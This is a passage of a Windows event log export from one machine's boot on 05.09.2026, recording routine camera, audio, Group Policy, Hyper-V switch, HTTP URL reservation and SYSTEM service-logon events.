StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.869\t207\tStop of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.869\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.869\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t200\tStart of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t201\tStop of PowerUpDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t217\tFilterIrp Pending\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t204\tStart of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t205\tStop of StartUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t220\tPowerIrp_CheckingPLFRegistry\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.877\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.878\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.878\t218\tFilterIrp Completed\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.878\t230\tPowerIrp_PassiveWakeupCompleted\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.879\t50\tCamera DeviceMFT InitializeTransform, SymbolicLink: \\\\?\\USB#VID_5858&PID_1004&MI_00#6&55f168&0&0000#{e5323777-f976-4f5b-9b55-b94699c46e44}\\GLOBAL\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.887\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.888\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.889\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.890\t51\tCamera DeviceMFT InitializeTransform, hr: 0x0\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_DeviceMFT\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.893\t222\tStart of RestoreDefaults\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.894\t223\tStop of RestoreDefaults\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.894\t202\tStart of PowerDownDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.894\t203\tStop of PowerDownDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.894\t206\tStart of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.895\t207\tStop of StopUSBVideoDevice\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.895\t215\tStart of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.895\t216\tStop of PowerIrpCompletion\tInformation\tMicrosoft-Windows-USBVideo/Operational\tMicrosoft-Windows-USBVideo\n05.09.2026 08:28:57.903\t62\tFrameServer FsmDeviceWatcher InternalUpdateSensorGroups Stop, AnyFailed: false\tInformation\tMicrosoft-Windows-MF-FrameServer/Camera_FrameServer\tMicrosoft-Windows-MF-FrameServer\n05.09.2026 08:28:57.916\t267\tTouch/Touchpad Hardware Quality Assurance verification succeeded.\tInformation\tSystem\tWin32k\n05.09.2026 08:28:57.923\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.923\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.935\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.940\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.943\t180\tReceived Po AudioStandby request\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.946\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.948\t4000\t\"Starting computer boot policy processing for WORKGROUP\\HONOR-FRG-X$. \nActivity id: {e95cffa2-4e00-44b7-99d3-fff2833b3dc9}\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.948\t5340\tThe Group Policy processing mode is Foreground asynchronous.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.959\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.960\t5311\tThe loopback policy processing mode is \"No loopback mode\".\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.960\t4126\tGroup Policy receiving applicable GPOs from the domain controller.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.960\t5257\tSuccessfully completed downloading policies.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.960\t0\t\"VmSwitch Driver state\n\nState: Started Loading,\nFunction: DriverEntry\"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.960\t277\tvmswitch.sys build 26100.amd64.ge_release_svc_prod1, debug false, official true, Aug  8 2026 09:35:10\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.961\t5126\tGroup Policy successfully got applicable GPOs from the domain controller.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.961\t5312\t\"List of applicable Group Policy objects: \n\nLocal Group Policy\n\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.961\t5313\t\"The following Group Policy objects were not applicable because they were filtered out : \n\n\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.962\t0\t\"ProtocolNic NetPnpEvent Begin\n\nnetPnpEvent: NetEventBindsComplete,\nnicName: ,\nnicFriendlyName: ,\nswitchName: ,\nswitchFriendlyName: \"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.962\t0\t\"ProtocolNic NetPnpEvent End\n\nnetPnpEvent: NetEventBindsComplete,\nnicName: ,\nnicFriendlyName: ,\nswitchName: ,\nswitchFriendlyName: ,\ndelta (100 ns): 57,\nStatus: 0x0(NT=STATUS_SUCCESS)\"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.963\t0\t\"ExtProtocol NetPnpEvent Begin\n\nnetPnpEvent: NetEventBindsComplete,\nswitchName: ,\nswitchFriendlyName: \"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.963\t0\t\"ExtProtocol NetPnpEvent End\n\nnetPnpEvent: NetEventBindsComplete,\nswitchName: ,\nswitchFriendlyName: ,\ndelta (100 ns): 79,\nStatus: 0x0(NT=STATUS_SUCCESS)\"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.963\t0\t\"VmSwitch Driver state\n\nState: Installed and Started.,\nFunction: DriverEntry,\ndelta (100 ns): 31357,\nStatus: 0x0(NT=STATUS_SUCCESS)\"\tInformation\t16\tMicrosoft-Windows-Hyper-V-VmSwitch\n05.09.2026 08:28:57.965\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.965\t5320\tChecking for Group Policy client extensions that are not part of the system.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.965\t5320\tService configuration update to standalone is not required and will be skipped.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.965\t5320\tFinished checking for non-system extensions.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.972\t8000\tCompleted computer boot policy processing for WORKGROUP\\HONOR-FRG-X$ in 0 seconds.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.973\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.983\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.983\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.993\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:57.996\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.996\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.996\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.996\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.006\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.006\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.040\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://*:5357/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:80/Temporary_Listen_Addresses/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://*:5358/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://*:2869/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:5986/wsman/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:47001/wsman/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:5985/wsman/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL https://+:10245/WMPNSSv4/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:10243/WMPNSSv4/. Status 0x0. Process Id 0x4 Executable path , User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:58.046\t112\tAttempted to reserve URL http://+:3387/rdp/. Status 0x0. Process Id 0x4 Executable path , User 